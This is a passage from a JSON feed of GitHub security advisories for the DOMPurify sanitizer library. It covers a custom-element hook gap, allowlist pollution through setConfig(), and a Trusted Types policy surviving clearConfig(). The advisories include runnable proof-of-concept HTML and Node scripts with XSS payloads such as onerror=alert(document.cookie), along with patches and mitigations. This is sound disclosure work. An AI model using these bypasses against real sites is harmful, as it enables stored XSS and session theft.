`connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.\n\n### HTML PoC\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"UTF-8\"\u003e\n  \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre id=\"result\"\u003e\u003c/pre\u003e\n\n\u003cscript\u003e\nwindow.__controlFired = false;\nwindow.__candidateFired = false;\n\ncustomElements.define(\"x-bio\", class extends HTMLElement {\n  connectedCallback() {\n    const bio = this.getAttribute(\"data-bio\");\n    if (bio) this.innerHTML = bio;\n  }\n});\n\nDOMPurify.addHook(\"afterSanitizeElements\", node =\u003e {\n  if (node.hasAttribute \u0026\u0026 node.hasAttribute(\"data-bio\")) {\n    node.removeAttribute(\"data-bio\");\n  }\n});\n\nconst config = {\n  CUSTOM_ELEMENT_HANDLING: {\n    tagNameCheck: /^x-/\n  }\n};\n\nconst controlInput =\n  '\u003cdiv data-bio=\"\u0026lt;img src=x onerror=window.__controlFired=true\u0026gt;\"\u003e\u003c/div\u003e';\n\nconst candidateInput =\n  '\u003cx-bio data-bio=\"\u0026lt;img src=x onerror=window.__candidateFired=true\u0026gt;\"\u003e\u003c/x-bio\u003e';\n\nconst cleanControl = DOMPurify.sanitize(controlInput, config);\nconst cleanCandidate = DOMPurify.sanitize(candidateInput, config);\n\nconst container = document.createElement(\"div\");\ncontainer.innerHTML = cleanCandidate;\ndocument.body.appendChild(container);\n\nsetTimeout(() =\u003e {\n  document.getElementById(\"result\").textContent =\n    \"This is not direct DOMPurify XSS.\\n\" +\n    \"The payload becomes executable only after x-bio writes data-bio into innerHTML.\\n\\n\" +\n    \"control: \" + cleanControl + \"\\n\" +\n    \"candidate: \" + cleanCandidate + \"\\n\" +\n    \"after connectedCallback: \" + container.innerHTML + \"\\n\" +\n    \"control fired: \" + window.__controlFired + \"\\n\" +\n    \"candidate fired: \" + window.__candidateFired;\n}, 100);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Expected result\n\n```\ncontrol: \u003cdiv\u003e\u003c/div\u003e\ncandidate: \u003cx-bio data-bio=\"\u003cimg src=x onerror=window.__candidateFired=true\u003e\"\u003e\u003c/x-bio\u003e\nafter connectedCallback: \u003cx-bio data-bio=\"...\"\u003e\u003cimg src=\"x\" onerror=\"window.__candidateFired=true\"\u003e\u003c/x-bio\u003e\ncontrol fired: false\ncandidate fired: true\n```\n\nThis is output of HTML PoC.\n\n\u003cimg width=\"1917\" height=\"961\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10\" /\u003e\n\n\n## Impact\n\nThis does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.\n\nThe impact is limited to applications that:\n\n- enable `CUSTOM_ELEMENT_HANDLING`,\n- rely on `afterSanitizeElements` as a security policy layer,\n- expect that hook to apply uniformly to all surviving elements,\n- and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink.\n\nIn that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.\n\nPossible fixes or mitigations might include\n\n- ensuring that allowed custom elements also consistently pass through `afterSanitizeElements`\n- documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted elements.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-07-21T19:41:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4","https://github.com/cure53/DOMPurify/pull/1537","https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197","https://github.com/cure53/DOMPurify/releases/tag/3.4.12","https://github.com/advisories/GHSA-c2j3-45gr-mqc4"],"source_kind":"github","identifiers":["GHSA-c2j3-45gr-mqc4"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.145Z","updated_at":"2026-08-06T13:00:35.588Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMmozLTQ1Z3ItbXFjNM4ABfJV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMmozLTQ1Z3ItbXFjNM4ABfJV","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.12","vulnerable_version_range":"\u003c= 3.4.11"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMmozLTQ1Z3ItbXFjNM4ABfJV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jbXdoLXB2eHAtODg4Ms4ABZFw","url":"https://github.com/advisories/GHSA-cmwh-pvxp-8882","title":"DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)","description":"## Summary\n\nDOMPurify 3.4.7 shipped a security fix (\"permanent hook pollution\") that makes a registered `uponSanitizeAttribute` hook's mutation of `data.allowedAttributes` **non-persistent** — so allowing an attribute for one element does not leak into later `sanitize()` calls. The fix clones `ALLOWED_ATTR` inside `_parseConfig`.\n\nThat guard is **silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`.** `setConfig()` sets the module flag `SET_CONFIG = true`, which causes `sanitize()` to **skip `_parseConfig` entirely** — and the clone-guard lives inside `_parseConfig`. The hook is then handed the **live, shared `ALLOWED_ATTR` object**; any `data.allowedAttributes[name] = true` it writes mutates that shared object **permanently**, for the lifetime of the DOMPurify instance, across every subsequent call, and across **all** elements.\n\nIf an application uses `setConfig()` together with an `uponSanitizeAttribute` hook that conditionally allows a dangerous attribute (`onerror`, `onclick`, `onmouseover`, `srcdoc`, `formaction`, …) for \"trusted\" elements, then **one trusted render permanently allows that attribute on untrusted, attacker-controlled content** — yielding stored XSS in viewers' browsers. DOMPurify applies no separate `/^on/` event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.\n\n---\n\n## Affected configuration (preconditions)\n\nThe vulnerability is triggered when an application does **both**:\n\n1. Calls `DOMPurify.setConfig(...)` once (the recommended pattern for a fixed, persistent policy), **and**\n2. Registers an `uponSanitizeAttribute` hook that writes `data.allowedAttributes[name] = true` to conditionally allow an attribute (e.g. only for elements bearing a trust marker).\n\nThis hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.\n\n---\n\n## Root cause (source: `src/purify.ts`, v3.4.10)\n\nThe 3.4.7 clone-guard — only inside `_parseConfig`:\n\n```\n// src/purify.ts  _parseConfig()  (lines ~950-968)\n// \"if a hook is registered AND the set still points at the default constant, clone it.\n//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original.\"\nif ( ... \u0026\u0026 hooks.uponSanitizeAttribute.length \u003e 0) {\n  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961\n}\nif ( ... hooks.uponSanitizeAttribute.length \u003e 0 ... ) {\n  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968\n}\n```\n\n`sanitize()` skips `_parseConfig` on the persistent-config path:\n\n```\n// src/purify.ts  DOMPurify.sanitize()  (line 2369)\nif (!SET_CONFIG) {\n  _parseConfig(cfg);          // \u003c-- clone-guard lives in here; SKIPPED when SET_CONFIG is true\n}\n```\n\n`setConfig()` sets the flag that disables the guard:\n\n```\n// src/purify.ts  (lines 2596-2598)\nDOMPurify.setConfig = function (cfg = {}) {\n  _parseConfig(cfg);\n  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig\n};\n```\n\nThe hook is handed the **live** allowlist binding, and there is no secondary event-handler defense:\n\n```\n// src/purify.ts (line 2088) — hook event exposes the shared object by reference\nallowedAttributes: ALLOWED_ATTR,\n// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself\n// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.\n```\n\n**Net:** after `setConfig()`, the clone-guard never runs, so the hook's `allowedAttributes` mutation is a permanent write to the instance's shared `ALLOWED_ATTR`.\n\n---\n\n## Proof of Concept\n\nEnvironment: `npm i dompurify@3.4.10 jsdom` (Node; identical mechanism to `isomorphic-dompurify`, and to a browser instance).\n\n### PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content)\n\n```js\nconst createDOMPurify = require('dompurify');\nconst { JSDOM } = require('jsdom');\nconst DP = createDOMPurify(new JSDOM('').window);\n\n// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements\nDP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nDP.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n  if (node.getAttribute \u0026\u0026 node.getAttribute('data-trusted') === '1') {\n    data.allowedAttributes['onerror'] = true;        // intended: trusted-only\n  }\n});\n\n// 1) A trusted widget is rendered once\nDP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e');\n\n// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance\nconsole.log(DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e'));\n// OUTPUT:  \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e     \u003c-- onerror SURVIVES -\u003e XSS\n```\n\n### PoC 2 — it is a DOMPurify state-leak, not \"the app allowed `on*`\" (attribute-agnostic)\n\n```js\n// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).\n// The leak is identical -\u003e the defect is a shared-state mutation in DOMPurify,\n// independent of which attribute the hook touches.\nDP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });\nDP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n  if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;\n});\nDP.sanitize('\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e');\nconsole.log(DP.sanitize('\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e'));   // -\u003e \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e  (leaked)\n```\n\n### PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds\n\n```js\nconst DP2 = createDOMPurify(new JSDOM('').window);\nDP2.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n  if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n});\nDP2.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nconsole.log(DP2.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));\n// OUTPUT:  \u003cimg src=\"x\"\u003e     \u003c-- onerror correctly STRIPPED. setConfig() is the trigger.\n```\n\n### Persistence (observed)\n\n- The leak **persists after `removeAllHooks()`** — removing the hook does not clean the polluted allowlist.\n- It is **global / cross-element** — a polluted `onmouseover` survives on `\u003ca\u003e` and `\u003cdiv\u003e`, not only the originally-blessed `\u003cimg\u003e`.\n- It persists for the **instance lifetime** (survived 5/5 subsequent default calls).\n- `clearConfig()` **does** restore a clean state (this is the bound of the impact).\n\n---\n\n## Impact\n\nStored XSS. In a long-lived (e.g. server-side / `isomorphic-dompurify`) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no `/^on/` blocklist, a surviving `on*` attribute is final — no secondary control prevents execution. `onerror` on a broken-`src` `\u003cimg\u003e` fires with no user interaction (browser-confirmed; see Validation).\n\n**Per-call `FORBID_ATTR` does not mitigate.** A defensive `sanitize(input, { FORBID_ATTR: ['onerror'] })` is also ignored once `setConfig()` has been called: the per-call config is parsed by `_parseConfig`, which `sanitize()` skips entirely under `SET_CONFIG`. So an application cannot blunt the leak with a per-call denylist — the poisoned `ALLOWED_ATTR` is the sole gate.\n\n---\n\n## Realistic attack scenario\n\nA platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:\n\n1. The app installs a persistent baseline policy via `setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })`.\n2. It registers an `uponSanitizeAttribute` hook that enables an event handler **only** for admin-vetted elements marked `data-trusted=\"1\"`, intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.\n3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing `\u003cimg src=x onerror=...\u003e` passes sanitization and executes for all viewers.\n\n---\n\n## Remediation\n\nExtend the existing clone-guard to the persistent-config (`SET_CONFIG`) fast-path: when `sanitize()` skips `_parseConfig` but an `uponSanitizeAttribute` hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in `_parseConfig`.\n\n```js\n// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:\nif (!SET_CONFIG) {\n  _parseConfig(cfg);\n} else if (hooks.uponSanitizeAttribute.length \u003e 0) {\n  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would\n  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.\n  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {\n    ALLOWED_ATTR = clone(ALLOWED_ATTR);\n  }\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);\n  }\n}\n```\n\n(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of `ALLOWED_ATTR`/`ALLOWED_TAGS` whenever `SET_CONFIG` is true, mirroring the 3.4.7 intent.)\n\nA regression test should reproduce PoC 1 and assert the attacker call returns `\u003cimg src=\"x\"\u003e`. Note the existing 3.4.7 regression test (\"unguarded attribute hook does not poison subsequent default-config calls\") never exercises `setConfig()` — adding a `setConfig` variant closes the gap.\n\n**Application-side mitigation until patched:** prefer `data.keepAttr = true` (per-element, non-persistent) over `data.allowedAttributes[name] = true` inside hooks; or call `DOMPurify.clearConfig()` between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.\n\n---\n\n## Limitations\n\n- Requires the two-part precondition above (persistent `setConfig()` **and** a hook writing `data.allowedAttributes[...]`). Not a default-config bypass.\n- Impact is bounded by `clearConfig()`, which restores a clean state. The earlier-considered \"survives `clearConfig()`\" claim did **not** reproduce and is withdrawn.\n- A position could be adopted to \"use `data.keepAttr=true`, not `allowedAttributes[]`.\" However, the 3.4.7 security fix exists precisely to defend the `allowedAttributes[]` hook pattern in the per-call path; leaving the `setConfig` path unguarded is an incomplete fix of an acknowledged security issue.\n\n## Validation\n\n- **Integrity:** the tested `dompurify@3.4.10` `dist/purify.cjs.js` (md5 `ab0e7b1cde1cbcace0f62b6aac284143`) and browser `dist/purify.min.js` (md5 `b0985f80fa48e6e7b263f8f6a64b779e`) are byte-identical to a freshly `npm pack`-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.\n- **Node (mechanism):** PoCs 1–3 reproduce deterministically; `DOMPurify.isValidAttribute('img','onerror','x')` flips `false → true` after a single trusted render under `setConfig()`, proving the shared attribute gate is poisoned. Leak survives `removeAllHooks()`, is cross-element, persists for the instance lifetime, and is reset only by `clearConfig()`.\n- **Real browser (impact):** in Chrome with DOMPurify 3.4.10, assigning the attacker output to `innerHTML` **executes** the surviving `onerror` (sentinel `window.__fired = [\"ATTACKER-onerror\"]`; `onerror` DOM property is a `function`), with no user interaction. The no-`setConfig` A/B control does not fire — execution is attributable to the `setConfig` leak, not a harness artifact.\n\n---\n\n## Appendix A — Node PoC (complete, runnable)\n\n```js\n// poc.js  —  npm i dompurify@3.4.10 jsdom  \u0026\u0026  node poc.js\nconst createDOMPurify = require('dompurify');\nconst { JSDOM } = require('jsdom');\nconst freshDP = () =\u003e createDOMPurify(new JSDOM('').window);\nconst log = (s) =\u003e console.log(s);\nlog('DOMPurify ' + freshDP().version + '\\n');\n\n// PoC 1 — the leak: trusted render permanently allows onerror on attacker content\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\n  DP.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n    if (node.getAttribute \u0026\u0026 node.getAttribute('data-trusted') === '1') {\n      data.allowedAttributes['onerror'] = true;            // intended: trusted-only\n    }\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e');            // trusted render\n  const attacker = DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e');  // attacker, no data-trusted\n  log('[PoC1] attacker output  : ' + attacker);\n  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));\n  log('[PoC1] isValidAttribute(img,onerror) -\u003e ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\\n');\n}\n\n// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not \"the app allowed on*\"\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;\n  });\n  DP.sanitize('\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e');\n  log('[PoC2] benign title leaks: ' + DP.sanitize('\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e') + '\\n');\n}\n\n// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds\n{\n  const DP = freshDP();\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });\n  const ctrl = DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });\n  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\\n');\n}\n\n// Persistence: survives removeAllHooks(); reset only by clearConfig()\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\n  DP.addHook('uponSanitizeAttribute', (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;\n  });\n  DP.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e');\n  DP.removeAllHooks();\n  let leaks = 0;\n  for (let i = 0; i \u003c 5; i++) if (/onerror/.test(DP.sanitize('\u003cimg src=\"x\" onerror=\"alert('+i+')\"\u003e'))) leaks++;\n  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');\n  DP.clearConfig();\n  log('[persist] after clearConfig(): ' + DP.sanitize('\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e') + '  (reset)');\n}\n```\n\nExpected output:\n```\n[PoC1] attacker output  : \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\n[PoC1] onerror survived : true\n[PoC1] isValidAttribute(img,onerror) -\u003e true  (shared gate poisoned)\n[PoC2] benign title leaks: \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\n[PoC3] control output   : \u003cimg src=\"x\"\u003e   stripped: true\n[persist] survived 5/5 calls after removeAllHooks()\n[persist] after clearConfig(): \u003cimg src=\"x\"\u003e  (reset)\n```\n\n## Appendix B — Browser PoC (complete; confirms execution)\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta charset=\"utf-8\"\u003e\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\u003cbody\u003e\u003cpre id=\"out\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst log = (s) =\u003e document.getElementById('out').textContent += s + '\\n';\nwindow.__fired = [];\nwindow.alert = (x) =\u003e window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal\nlog('DOMPurify ' + DOMPurify.version);\n\n// App init: persistent policy + a hook allowing onerror ONLY for trusted elements\nDOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });\nDOMPurify.addHook('uponSanitizeAttribute', (node, data) =\u003e {\n  if (node.getAttribute \u0026\u0026 node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;\n});\n\nDOMPurify.sanitize('\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"0\"\u003e');                 // one trusted render\nconst out = DOMPurify.sanitize('\u003cimg src=\"x\" onerror=\"alert(\\'XSS:\\'+document.domain)\"\u003e');  // attacker\nlog('attacker sanitized output: ' + out);\nconst host = document.createElement('div');\nhost.innerHTML = out;                            // surviving onerror arms on the broken-src img\ndocument.body.appendChild(host);\n\nsetTimeout(() =\u003e {\n  log('handlers fired: ' + JSON.stringify(window.__fired));\n  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');\n}, 500);\n\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\nObserved: `handlers fired: [\"alert:XSS:\u003cdomain\u003e\"]` → **RESULT: XSS EXECUTED** (no user interaction). The same harness without the `setConfig()` line strips `onerror` and does not fire.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-18T14:27:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882","https://github.com/cure53/DOMPurify/pull/1482","https://github.com/cure53/DOMPurify/commit/011bc3b2fcc4be17aa76f9030e8668207717acb9","https://github.com/cure53/DOMPurify/releases/tag/3.4.11","https://github.com/advisories/GHSA-cmwh-pvxp-8882"],"source_kind":"github","identifiers":["GHSA-cmwh-pvxp-8882","CVE-2026-65898"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T15:00:09.311Z","updated_at":"2026-08-06T13:01:25.469Z","epss_percentage":0.00167,"epss_percentile":0.06308,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jbXdoLXB2eHAtODg4Ms4ABZFw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jbXdoLXB2eHAtODg4Ms4ABZFw","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.11","vulnerable_version_range":"\u003c= 3.4.10"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jbXdoLXB2eHAtODg4Ms4ABZFw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12eHI4LWZxMzQtdnZ4Oc4ABYsI","url":"https://github.com/advisories/GHSA-vxr8-fq34-vvx9","title":"DOMPurify: Trusted Types policy survives `clearConfig()` and can poison later `RETURN_TRUSTED_TYPE` output","description":"## Impact\n\nA DOMPurify instance that is reused across trust boundaries can stay bound to a previously supplied `TRUSTED_TYPES_POLICY` even after `clearConfig()` is called. A later caller that requests `RETURN_TRUSTED_TYPE` receives a `TrustedHTML` object created by the old policy, not by a clean default configuration.\n\nIf the old policy is unsafe or controlled by a less-trusted integration, this turns a later \"default\" sanitize call into script execution at a Trusted Types sink. `TRUSTED_TYPES_POLICY: null` on the later call also does not clear the retained policy.\n[dompurify-trusted-types-policy-survives-clearconfig-poc.js](https://github.com/user-attachments/files/28604913/dompurify-trusted-types-policy-survives-clearconfig-poc.js)\n\n\n## Affected version\n\nTested against DOMPurify `3.4.8`, repository commit `825e617753ac1169306a542d3174a77f717a0cf6`.\n\n## Root cause\n\n`_parseConfig()` overwrites `trustedTypesPolicy` when `cfg.TRUSTED_TYPES_POLICY` is truthy, but the default/null path only initializes the internal policy when `trustedTypesPolicy === undefined`. Once a custom policy has been set, later default config parsing leaves it in place.\n\nRelevant code:\n\n- `src/purify.ts:786-812` accepts and stores `cfg.TRUSTED_TYPES_POLICY`.\n- `src/purify.ts:813-832` does not reset an existing policy when config has no policy or has `TRUSTED_TYPES_POLICY: null`.\n- `src/purify.ts:2123-2125` signs the final serialized HTML with the retained policy when `RETURN_TRUSTED_TYPE` is true.\n- `src/purify.ts:2133-2136` `clearConfig()` only clears `CONFIG` and `SET_CONFIG`; it does not reset `trustedTypesPolicy` or `emptyHTML`.\n\n## Local PoC\n\nRun from the DOMPurify checkout, or set `DOMPURIFY_REPO`:\n\n```bash\nnode /home/dompurify-trusted-types-policy-survives-clearconfig-poc.js\n```\n\nObserved output:\n\n```json\n{\n  \"result\": {\n    \"baseline\": \"\u003cb\u003ebaseline\u003c/b\u003e\",\n    \"duringPolicy\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"afterClearString\": \"\u003cimg src=\\\"x\\\"\u003e\",\n    \"afterClearTrustedType\": \"[object TrustedHTML]\",\n    \"afterClearTrusted\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"afterNullTrusted\": \"\u003cimg src=x onerror=alert(\\\"TT_POLICY_SURVIVED_CLEARCONFIG\\\")\u003e\",\n    \"mountedHTML\": \"\u003cimg src=\\\"x\\\" onerror=\\\"alert(\u0026quot;TT_POLICY_SURVIVED_CLEARCONFIG\u0026quot;)\\\"\u003e\"\n  },\n  \"dialogs\": [\n    \"TT_POLICY_SURVIVED_CLEARCONFIG\"\n  ]\n}\n```\n\nThe important part is the split behavior after cleanup:\n\n- `purify.clearConfig(); purify.sanitize(...);` returns a normal sanitized string (`\u003cimg src=\"x\"\u003e`), because the later call is not asking for a Trusted Type.\n- `purify.clearConfig(); purify.sanitize(..., { RETURN_TRUSTED_TYPE: true });` still uses the old policy and returns attacker-controlled `TrustedHTML`.\n- Passing `{ TRUSTED_TYPES_POLICY: null, RETURN_TRUSTED_TYPE: true }` also still returns attacker-controlled `TrustedHTML`.\n\n## Preconditions\n\nThis is a shared-instance state contamination issue. It matters when one DOMPurify instance is reused by multiple integrations, plugins, request handlers, or components with different trust levels, and a cleanup step relies on `clearConfig()` to restore safe defaults.\n\nThis is not a default string-input bypass. An attacker must be able to influence a prior `TRUSTED_TYPES_POLICY` on the reused instance, or a less-trusted integration must have installed an unsafe policy.\n\n## Severity\n\n impact is XSS at a Trusted Types sink in applications that reuse a DOMPurify instance across trust boundaries. Attack complexity is high because exploitation depends on prior policy injection or a less-trusted integration and a later `RETURN_TRUSTED_TYPE` sink.\n\n## Suggested fix\n\nMake `clearConfig()` reset Trusted Types state as part of restoring defaults, or have `_parseConfig()` explicitly clear `trustedTypesPolicy` and `emptyHTML` when `TRUSTED_TYPES_POLICY: null` is supplied.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-15T20:12:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-vxr8-fq34-vvx9","https://github.com/advisories/GHSA-vxr8-fq34-vvx9"],"source_kind":"github","identifiers":["GHSA-vxr8-fq34-vvx9","CVE-2026-65899"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.604Z","updated_at":"2026-08-06T13:01:31.849Z","epss_percentage":0.00231,"epss_percentile":0.14051,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12eHI4LWZxMzQtdnZ4Oc4ABYsI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12eHI4LWZxMzQtdnZ4Oc4ABYsI","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.9","vulnerable_version_range":"\u003c 3.4.9"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12eHI4LWZxMzQtdnZ4Oc4ABYsI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ndm1qLWcyNXItcjd3cs4ABYr6","url":"https://github.com/advisories/GHSA-gvmj-g25r-r7wr","title":"DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside \u003ctemplate\u003e content when using DOM output modes","description":"## Summary\n\nWhen DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or 